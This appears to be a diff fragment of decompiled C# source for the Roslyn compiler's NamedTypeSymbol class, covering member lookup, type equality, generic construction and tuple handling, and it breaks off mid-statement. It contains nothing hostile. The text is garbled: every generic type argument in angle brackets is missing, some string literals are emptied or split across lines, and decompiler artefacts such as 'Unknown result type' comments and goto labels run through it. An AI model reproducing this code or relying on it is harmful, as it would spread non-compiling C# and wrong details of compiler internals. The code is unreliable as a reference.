{ + NamedTypeSymbol current = enumerator.Current; + if (seen == null) + { + seen = new HashSet(SymbolEqualityComparer.CLRSignature); + } + if (seen.Add(current)) + { + builder.Add(current); + InterfacesVisit(current, builder, ref seen); + } + } + } + + internal virtual IEnumerable GetMethodsToEmit() + { + ImmutableArray.Enumerator enumerator = GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)current; + if (methodSymbol.ShouldEmit()) + { + yield return methodSymbol; + } + } + } + } + + internal virtual IEnumerable GetPropertiesToEmit() + { + ImmutableArray.Enumerator enumerator = GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 15) + { + yield return (PropertySymbol)current; + } + } + } + + internal NamedTypeSymbol(TupleExtraData tupleData = null) + { + _lazyTupleData = tupleData; + } + + internal ImmutableArray TypeArgumentsWithDefinitionUseSiteDiagnostics(ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + ImmutableArray.Enumerator enumerator = typeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Type.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + } + return typeArgumentsWithAnnotationsNoUseSiteDiagnostics; + } + + internal TypeWithAnnotations TypeArgumentWithDefinitionUseSiteDiagnostics(int index, ref CompoundUseSiteInfo useSiteInfo) + { + TypeWithAnnotations result = TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[index]; + result.Type.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + return result; + } + + internal void SetKnownToHaveNoDeclaredBaseCycles() + { + _hasNoBaseCycles = true; + } + + internal virtual bool GetGuidString(out string guidString) + { + return GetGuidStringDefaultImplementation(out guidString); + } + + internal ImmutableArray GetOperators(string name) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Invalid comparison between Unknown and I4 + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Invalid comparison between Unknown and I4 + ImmutableArray simpleNonTypeMembers = GetSimpleNonTypeMembers(name); + if (simpleNonTypeMembers.IsEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(simpleNonTypeMembers.Length); + ImmutableArray.Enumerator enumerator = simpleNonTypeMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol methodSymbol = enumerator.Current as MethodSymbol; + bool flag; + if ((object)methodSymbol != null) + { + MethodKind methodKind = methodSymbol.MethodKind; + if ((int)methodKind == 2 || (int)methodKind == 9) + { + flag = true; + goto IL_0059; + } + } + flag = false; + goto IL_0059; + IL_0059: + if (flag) + { + instance.Add(methodSymbol); + } + } + return instance.ToImmutableAndFree(); + } + + private ImmutableArray GetConstructors(bool includeInstance, bool includeStatic) + { + ImmutableArray immutableArray = (includeInstance ? GetMembers(".ctor") : ImmutableArray.Empty); + ImmutableArray immutableArray2 = (includeStatic ? GetMembers(".cctor") : ImmutableArray.Empty); + if (immutableArray.IsEmpty && immutableArray2.IsEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is MethodSymbol methodSymbol) + { + instance.Add(methodSymbol); + } + } + enumerator = immutableArray2.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is MethodSymbol methodSymbol2) + { + instance.Add(methodSymbol2); + } + } + return instance.ToImmutableAndFree(); + } + + internal void GetExtensionMethods(ArrayBuilder methods, string nameOpt, int arity, LookupOptions options) + { + if (MightContainExtensionMethods) + { + DoGetExtensionMethods(methods, nameOpt, arity, options); + } + } + + internal void DoGetExtensionMethods(ArrayBuilder methods, string nameOpt, int arity, LookupOptions options) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Invalid comparison between Unknown and I4 + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Invalid comparison between Unknown and I4 + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = ((nameOpt == null) ? GetMembersUnordered() : GetSimpleNonTypeMembers(nameOpt)).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind != 9) + { + continue; + } + MethodSymbol methodSymbol = (MethodSymbol)current; + if (methodSymbol.IsExtensionMethod && ((options & LookupOptions.AllMethodsOnArityZero) != LookupOptions.Default || arity == methodSymbol.Arity)) + { + ParameterSymbol parameterSymbol = methodSymbol.Parameters.First(); + bool flag = (int)parameterSymbol.RefKind == 1 && !parameterSymbol.Type.IsValueType; + if (!flag) + { + RefKind refKind = parameterSymbol.RefKind; + bool flag2 = refKind - 3 <= 1; + flag = flag2 && (int)parameterSymbol.Type.TypeKind != 10; + } + if (!flag) + { + methods.Add(methodSymbol); + } + } + } + } + + internal override ManagedKind GetManagedKind(ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return BaseTypeAnalysis.GetManagedKind(this, ref useSiteInfo); + } + + internal abstract AttributeUsageInfo GetAttributeUsageInfo(); + + internal SynthesizedInstanceConstructor GetScriptConstructor() + { + return (SynthesizedInstanceConstructor)InstanceConstructors.Single(); + } + + internal SynthesizedInteractiveInitializerMethod GetScriptInitializer() + { + return (SynthesizedInteractiveInitializerMethod)GetMembers("").Single(); + } + + internal SynthesizedEntryPointSymbol GetScriptEntryPoint() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + string name = (((int)TypeKind == 12) ? "" : "
"); + return (SynthesizedEntryPointSymbol)GetMembers(name).Single(); + } + + private void EnsureRequiredMembersCalculated() + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if (_lazyRequiredMembers.IsDefault) + { + Builder requiredMembersBuilder; + ImmutableSegmentedDictionary val = ((!tryCalculateRequiredMembers(out requiredMembersBuilder)) ? RequiredMembersErrorSentinel : (requiredMembersBuilder?.ToImmutable() ?? BaseTypeNoUseSiteDiagnostics?.AllRequiredMembers ?? ImmutableSegmentedDictionary.Empty)); + RoslynImmutableInterlocked.InterlockedInitialize(ref _lazyRequiredMembers, val); + } + bool tryCalculateRequiredMembers(out Builder? reference) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + reference = null; + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics != null && baseTypeNoUseSiteDiagnostics.HasRequiredMembersError) + { + return false; + } + ImmutableSegmentedDictionary val2 = BaseTypeNoUseSiteDiagnostics?.AllRequiredMembers ?? ImmutableSegmentedDictionary.Empty; + bool hasDeclaredRequiredMembers = HasDeclaredRequiredMembers; + ImmutableArray.Enumerator enumerator = GetMembersUnordered().GetEnumerator(); + Symbol other = default(Symbol); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current is PropertySymbol { ParameterCount: >0 } propertySymbol) + { + if (propertySymbol.IsRequired) + { + return false; + } + continue; + } + if (val2.TryGetValue(current.Name, ref other)) + { + if (current.IsRequired()) + { + Symbol overriddenMember = current.GetOverriddenMember(); + if ((object)overriddenMember != null && overriddenMember.Equals(other, (TypeCompareKind)30)) + { + goto IL_00ad; + } + } + return false; + } + goto IL_00ad; + IL_00ad: + if (current.IsRequired()) + { + if (!hasDeclaredRequiredMembers) + { + return false; + } + if (reference == null) + { + reference = val2.ToBuilder(); + } + reference[current.Name] = current; + } + } + return true; + } + } + + public abstract override ImmutableArray GetMembers(); + + public abstract override ImmutableArray GetMembers(string name); + + internal abstract bool HasPossibleWellKnownCloneMethod(); + + internal virtual ImmutableArray GetSimpleNonTypeMembers(string name) + { + return GetMembers(name); + } + + public abstract override ImmutableArray GetTypeMembers(); + + public abstract override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity); + + internal virtual IEnumerable GetInstanceFieldsAndEvents() + { + return GetMembersUnordered().Where(IsInstanceFieldOrEvent); + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitNamedType(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitNamedType(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitNamedType(this); + } + + internal abstract ImmutableArray GetEarlyAttributeDecodingMembers(); + + internal abstract ImmutableArray GetEarlyAttributeDecodingMembers(string name); + + internal abstract NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved); + + internal abstract ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved); + + public override int GetHashCode() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)SpecialType == 1) + { + return 1; + } + return RuntimeHelpers.GetHashCode(OriginalDefinition); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if ((object)t2 == this) + { + return true; + } + if ((object)t2 == null) + { + return false; + } + if ((comparison & 2) != 0 && (int)t2.TypeKind == 4 && (int)SpecialType == 1) + { + return true; + } + if (!(t2 is NamedTypeSymbol namedTypeSymbol)) + { + return false; + } + NamedTypeSymbol originalDefinition = OriginalDefinition; + NamedTypeSymbol originalDefinition2 = namedTypeSymbol.OriginalDefinition; + bool flag = (object)this == originalDefinition; + bool flag2 = (object)namedTypeSymbol == originalDefinition2; + if (flag && flag2) + { + return false; + } + if ((flag || flag2) && (comparison & 0x1D) == 0) + { + return false; + } + if (!TypeSymbol.Equals(originalDefinition, originalDefinition2, comparison)) + { + return false; + } + return EqualsComplicatedCases(namedTypeSymbol, comparison); + } + + private bool EqualsComplicatedCases(NamedTypeSymbol other, TypeCompareKind comparison) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + if ((object)ContainingType != null && !ContainingType.Equals(other.ContainingType, comparison)) + { + return false; + } + bool flag = (object)ConstructedFrom == this; + bool flag2 = (object)other.ConstructedFrom == other; + if (flag && flag2) + { + return true; + } + if (IsUnboundGenericType != other.IsUnboundGenericType) + { + return false; + } + if ((flag || flag2) && (comparison & 0x1D) == 0) + { + return false; + } + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics2 = other.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + int length = typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length; + for (int i = 0; i < length; i++) + { + TypeWithAnnotations typeWithAnnotations = typeArgumentsWithAnnotationsNoUseSiteDiagnostics[i]; + TypeWithAnnotations other2 = typeArgumentsWithAnnotationsNoUseSiteDiagnostics2[i]; + if (!typeWithAnnotations.Equals(other2, comparison)) + { + return false; + } + } + if (IsTupleType && !tupleNamesEquals(other, comparison)) + { + return false; + } + return true; + bool tupleNamesEquals(NamedTypeSymbol namedTypeSymbol, TypeCompareKind val) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + if ((val & 4) == 0) + { + ImmutableArray tupleElementNames = TupleElementNames; + ImmutableArray tupleElementNames2 = namedTypeSymbol.TupleElementNames; + if (!tupleElementNames.IsDefault) + { + if (!tupleElementNames2.IsDefault) + { + return tupleElementNames.SequenceEqual(tupleElementNames2); + } + return false; + } + return tupleElementNames2.IsDefault; + } + return true; + } + } + + internal override void AddNullableTransforms(ArrayBuilder transforms) + { + ContainingType?.AddNullableTransforms(transforms); + ImmutableArray.Enumerator enumerator = TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.AddNullableTransforms(transforms); + } + } + + internal override bool ApplyNullableTransforms(byte defaultTransformFlag, ImmutableArray transforms, ref int position, out TypeSymbol result) + { + if (!IsGenericType) + { + result = this; + return true; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetAllTypeArgumentsNoUseSiteDiagnostics(instance); + bool flag = false; + for (int i = 0; i < instance.Count; i++) + { + TypeWithAnnotations typeWithAnnotations = instance[i]; + if (!typeWithAnnotations.ApplyNullableTransforms(defaultTransformFlag, transforms, ref position, out var result2)) + { + instance.Free(); + result = this; + return false; + } + if (!typeWithAnnotations.IsSameAs(result2)) + { + instance[i] = result2; + flag = true; + } + } + result = (flag ? WithTypeArguments(instance.ToImmutable()) : this); + instance.Free(); + return true; + } + + internal override TypeSymbol SetNullabilityForReferenceTypes(Func transform) + { + if (!IsGenericType) + { + return this; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetAllTypeArgumentsNoUseSiteDiagnostics(instance); + bool flag = false; + for (int i = 0; i < instance.Count; i++) + { + TypeWithAnnotations arg = instance[i]; + TypeWithAnnotations typeWithAnnotations = transform(arg); + if (!arg.IsSameAs(typeWithAnnotations)) + { + instance[i] = typeWithAnnotations; + flag = true; + } + } + NamedTypeSymbol result = (flag ? WithTypeArguments(instance.ToImmutable()) : this); + instance.Free(); + return result; + } + + internal NamedTypeSymbol WithTypeArguments(ImmutableArray allTypeArguments) + { + NamedTypeSymbol originalDefinition = OriginalDefinition; + return new TypeMap(originalDefinition.GetAllTypeParameters(), allTypeArguments).SubstituteNamedType(originalDefinition).WithTupleDataFrom(this); + } + + internal override TypeSymbol MergeEquivalentTypes(TypeSymbol other, VarianceKind variance) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + if (!IsGenericType) + { + if (!other.IsDynamic()) + { + return this; + } + return other; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + NamedTypeSymbol namedTypeSymbol = ((!MergeEquivalentTypeArguments(this, (NamedTypeSymbol)other, variance, instance, instance2)) ? this : new TypeMap(instance.ToImmutable(), instance2.ToImmutable()).SubstituteNamedType(OriginalDefinition)); + instance2.Free(); + instance.Free(); + if (!IsTupleType) + { + return namedTypeSymbol; + } + return MergeTupleNames((NamedTypeSymbol)other, namedTypeSymbol); + } + + private static bool MergeEquivalentTypeArguments(NamedTypeSymbol typeA, NamedTypeSymbol typeB, VarianceKind variance, ArrayBuilder allTypeParameters, ArrayBuilder allTypeArguments) + { + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + bool isTupleType = typeA.IsTupleType; + NamedTypeSymbol namedTypeSymbol = typeA.OriginalDefinition; + bool result = false; + while (true) + { + ImmutableArray typeParameters = namedTypeSymbol.TypeParameters; + if (typeParameters.Length > 0) + { + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = typeA.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics2 = typeB.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + allTypeParameters.AddRange(typeParameters); + for (int i = 0; i < typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length; i++) + { + TypeWithAnnotations typeWithAnnotations = typeArgumentsWithAnnotationsNoUseSiteDiagnostics[i]; + TypeWithAnnotations other = typeArgumentsWithAnnotationsNoUseSiteDiagnostics2[i]; + VarianceKind typeArgumentVariance = GetTypeArgumentVariance(variance, (VarianceKind)(isTupleType ? 1 : ((int)typeParameters[i].Variance))); + TypeWithAnnotations typeWithAnnotations2 = typeWithAnnotations.MergeEquivalentTypes(other, typeArgumentVariance); + allTypeArguments.Add(typeWithAnnotations2); + if (!typeWithAnnotations.IsSameAs(typeWithAnnotations2)) + { + result = true; + } + } + } + namedTypeSymbol = namedTypeSymbol.ContainingType; + if ((object)namedTypeSymbol == null) + { + break; + } + typeA = typeA.ContainingType; + typeB = typeB.ContainingType; + variance = (VarianceKind)0; + } + return result; + } + + private static VarianceKind GetTypeArgumentVariance(VarianceKind typeVariance, VarianceKind typeParameterVariance) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Invalid comparison between Unknown and I4 + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + if ((int)typeVariance != 1) + { + if ((int)typeVariance == 2) + { + if ((int)typeParameterVariance != 1) + { + if ((int)typeParameterVariance != 2) + { + return (VarianceKind)0; + } + return (VarianceKind)1; + } + return (VarianceKind)2; + } + return (VarianceKind)0; + } + return typeParameterVariance; + } + + public NamedTypeSymbol Construct(params TypeSymbol[] typeArguments) + { + return ConstructWithoutModifiers(ImmutableArrayExtensions.AsImmutableOrNull(typeArguments), unbound: false); + } + + public NamedTypeSymbol Construct(ImmutableArray typeArguments) + { + return ConstructWithoutModifiers(typeArguments, unbound: false); + } + + public NamedTypeSymbol Construct(IEnumerable typeArguments) + { + return ConstructWithoutModifiers(ImmutableArrayExtensions.AsImmutableOrNull(typeArguments), unbound: false); + } + + public NamedTypeSymbol ConstructUnboundGenericType() + { + return OriginalDefinition.AsUnboundGenericType(); + } + + internal NamedTypeSymbol GetUnboundGenericTypeOrSelf() + { + if (!IsGenericType) + { + return this; + } + return ConstructUnboundGenericType(); + } + + private NamedTypeSymbol ConstructWithoutModifiers(ImmutableArray typeArguments, bool unbound) + { + ImmutableArray typeArguments2 = ((!typeArguments.IsDefault) ? ImmutableArrayExtensions.SelectAsArray(typeArguments, (Func)((TypeSymbol t) => TypeWithAnnotations.Create(t))) : default(ImmutableArray)); + return Construct(typeArguments2, unbound); + } + + internal NamedTypeSymbol Construct(ImmutableArray typeArguments) + { + return Construct(typeArguments, unbound: false); + } + + internal NamedTypeSymbol Construct(ImmutableArray typeArguments, bool unbound) + { + if ((object)this != ConstructedFrom) + { + throw new InvalidOperationException(CSharpResources.CannotCreateConstructedFromConstructed); + } + if (Arity == 0) + { + throw new InvalidOperationException(CSharpResources.CannotCreateConstructedFromNongeneric); + } + if (typeArguments.IsDefault) + { + throw new ArgumentNullException("typeArguments"); + } + if (typeArguments.Any(TypeWithAnnotationsIsNullFunction)) + { + throw new ArgumentException(CSharpResources.TypeArgumentCannotBeNull, "typeArguments"); + } + if (typeArguments.Length != Arity) + { + throw new ArgumentException(CSharpResources.WrongNumberOfTypeArguments, "typeArguments"); + } + if (ConstructedNamedTypeSymbol.TypeParametersMatchTypeArguments(TypeParameters, typeArguments)) + { + return this; + } + return ConstructCore(typeArguments, unbound); + } + + protected virtual NamedTypeSymbol ConstructCore(ImmutableArray typeArguments, bool unbound) + { + return new ConstructedNamedTypeSymbol(this, typeArguments, unbound); + } + + internal void GetAllTypeArguments(ref TemporaryArray builder, ref CompoundUseSiteInfo useSiteInfo) + { + ContainingType?.GetAllTypeArguments(ref builder, ref useSiteInfo); + ImmutableArray.Enumerator enumerator = TypeArgumentsWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator.MoveNext()) + { + builder.Add(enumerator.Current.Type); + } + } + + internal ImmutableArray GetAllTypeArguments(ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetAllTypeArguments(instance, ref useSiteInfo); + return instance.ToImmutableAndFree(); + } + + internal void GetAllTypeArguments(ArrayBuilder builder, ref CompoundUseSiteInfo useSiteInfo) + { + ContainingType?.GetAllTypeArguments(builder, ref useSiteInfo); + builder.AddRange(TypeArgumentsWithDefinitionUseSiteDiagnostics(ref useSiteInfo)); + } + + internal void GetAllTypeArgumentsNoUseSiteDiagnostics(ArrayBuilder builder) + { + ContainingType?.GetAllTypeArgumentsNoUseSiteDiagnostics(builder); + builder.AddRange(TypeArgumentsWithAnnotationsNoUseSiteDiagnostics); + } + + internal int AllTypeArgumentCount() + { + int num = TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length; + NamedTypeSymbol containingType = ContainingType; + if ((object)containingType != null) + { + num += containingType.AllTypeArgumentCount(); + } + return num; + } + + internal ImmutableArray GetTypeParametersAsTypeArguments() + { + return TypeMap.TypeParametersAsTypeSymbolsWithAnnotations(TypeParameters); + } + + internal virtual NamedTypeSymbol AsMember(NamedTypeSymbol newOwner) + { + if (!newOwner.IsDefinition) + { + return new SubstitutedNestedTypeSymbol((SubstitutedNamedTypeSymbol)newOwner, this); + } + return this; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(base.PrimaryDependency); + if (base.IsDefinition) + { + return result; + } + if (!DeriveUseSiteInfoFromType(ref result, OriginalDefinition)) + { + DeriveUseSiteDiagnosticFromTypeArguments(ref result); + } + return result; + } + + private bool DeriveUseSiteDiagnosticFromTypeArguments(ref UseSiteInfo result) + { + NamedTypeSymbol namedTypeSymbol = this; + do + { + ImmutableArray.Enumerator enumerator = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + if (DeriveUseSiteInfoFromType(ref result, current, AllowedRequiredModifierType.None)) + { + return true; + } + } + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + while ((object)namedTypeSymbol != null && !namedTypeSymbol.IsDefinition); + return false; + } + + internal DiagnosticInfo CalculateUseSiteDiagnostic() + { + DiagnosticInfo result = null; + if (MergeUseSiteDiagnostics(ref result, DeriveUseSiteDiagnosticFromBase())) + { + return result; + } + if (ContainingModule.HasUnifiedReferences) + { + HashSet checkedTypes = null; + GetUnificationUseSiteDiagnosticRecursive(ref result, this, ref checkedTypes); + return result; + } + return result; + } + + private DiagnosticInfo DeriveUseSiteDiagnosticFromBase() + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + while ((object)baseTypeNoUseSiteDiagnostics != null) + { + if (baseTypeNoUseSiteDiagnostics.IsErrorType() && baseTypeNoUseSiteDiagnostics is NoPiaIllegalGenericInstantiationSymbol) + { + return baseTypeNoUseSiteDiagnostics.GetUseSiteInfo().DiagnosticInfo; + } + baseTypeNoUseSiteDiagnostics = baseTypeNoUseSiteDiagnostics.BaseTypeNoUseSiteDiagnostics; + } + return null; + } + + internal override bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes) + { + if (!this.MarkCheckedIfNecessary(ref checkedTypes)) + { + return false; + } + if (owner.ContainingModule.GetUnificationUseSiteDiagnostic(ref result, this)) + { + return true; + } + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics != null && baseTypeNoUseSiteDiagnostics.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes)) + { + return true; + } + if (!Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result, InterfacesNoUseSiteDiagnostics(), owner, ref checkedTypes)) + { + return Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result, TypeParameters, owner, ref checkedTypes); + } + return true; + } + + internal abstract IEnumerable GetSecurityInformation(); + + internal abstract ImmutableArray GetAppliedConditionalSymbols(); + + internal abstract bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName); + + internal bool IsTupleTypeOfCardinality(out int tupleCardinality) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + if (!IsUnboundGenericType) + { + Symbol containingSymbol = ContainingSymbol; + if ((object)containingSymbol != null && (int)containingSymbol.Kind == 12) + { + NamespaceSymbol containingNamespace = ContainingNamespace.ContainingNamespace; + if ((object)containingNamespace != null && containingNamespace.IsGlobalNamespace && Name == "ValueTuple" && ContainingNamespace.Name == "System") + { + int arity = Arity; + if (arity >= 0 && arity < 8) + { + tupleCardinality = arity; + return true; + } + if (arity == 8 && !base.IsDefinition) + { + TypeSymbol typeSymbol = this; + int num = 0; + do + { + num++; + typeSymbol = ((NamedTypeSymbol)typeSymbol).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[7].Type; + } + while (TypeSymbol.Equals(typeSymbol.OriginalDefinition, OriginalDefinition, (TypeCompareKind)0) && !typeSymbol.IsDefinition); + arity = (typeSymbol as NamedTypeSymbol)?.Arity ?? 0; + if (arity > 0 && arity < 8 && ((NamedTypeSymbol)typeSymbol).IsTupleTypeOfCardinality(out tupleCardinality)) + { + tupleCardinality += 7 * num; + return true; + } + } + } + } + } + tupleCardinality = 0; + return false; + } + + internal abstract NamedTypeSymbol AsNativeInteger(); + + protected override ISymbol CreateISymbol() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return (ISymbol)(object)new NonErrorNamedTypeSymbol(this, base.DefaultNullableAnnotation); + } + + protected override ITypeSymbol CreateITypeSymbol(NullableAnnotation nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new NonErrorNamedTypeSymbol(this, nullableAnnotation); + } + + internal static NamedTypeSymbol CreateTuple(Location? locationOpt, ImmutableArray elementTypesWithAnnotations, ImmutableArray elementLocations, ImmutableArray elementNames, CSharpCompilation compilation, bool shouldCheckConstraints, bool includeNullability, ImmutableArray errorPositions, CSharpSyntaxNode? syntax = null, BindingDiagnosticBag? diagnostics = null) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + int length = elementTypesWithAnnotations.Length; + if (length <= 1) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Tuples/TupleTypeSymbol.cs", 50); + } + NamedTypeSymbol namedTypeSymbol = getTupleUnderlyingType(elementTypesWithAnnotations, syntax, compilation, diagnostics); + if (length >= 8 && diagnostics != null && !namedTypeSymbol.IsErrorType()) + { + WellKnownMember tupleTypeMember = GetTupleTypeMember(8, 8); + GetWellKnownMemberInType(namedTypeSymbol.OriginalDefinition, tupleTypeMember, diagnostics, (SyntaxNode?)(object)syntax); + } + if (diagnostics != null && ((BindingDiagnosticBag)diagnostics).DiagnosticBag != null && ((SourceModuleSymbol)compilation.SourceModule).AnyReferencedAssembliesAreLinked) + { + EmbeddedTypesManager.IsValidEmbeddableType(namedTypeSymbol, (SyntaxNode)(object)syntax, ((BindingDiagnosticBag)diagnostics).DiagnosticBag); + } + ImmutableArray locations = ((locationOpt == null) ? ImmutableArray.Empty : ImmutableArray.Create(locationOpt)); + NamedTypeSymbol namedTypeSymbol2 = CreateTuple(namedTypeSymbol, elementNames, errorPositions, elementLocations, locations); + if (shouldCheckConstraints && diagnostics != null) + { + namedTypeSymbol2.CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(compilation, compilation.Conversions, includeNullability, ((SyntaxNode)syntax).Location, diagnostics), (SyntaxNode)(object)syntax, elementLocations, includeNullability ? diagnostics : null); + } + return namedTypeSymbol2; + static NamedTypeSymbol getTupleUnderlyingType(ImmutableArray elementTypes, CSharpSyntaxNode? cSharpSyntaxNode, CSharpCompilation cSharpCompilation, BindingDiagnosticBag? bindingDiagnosticBag) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + int remainder; + int num = 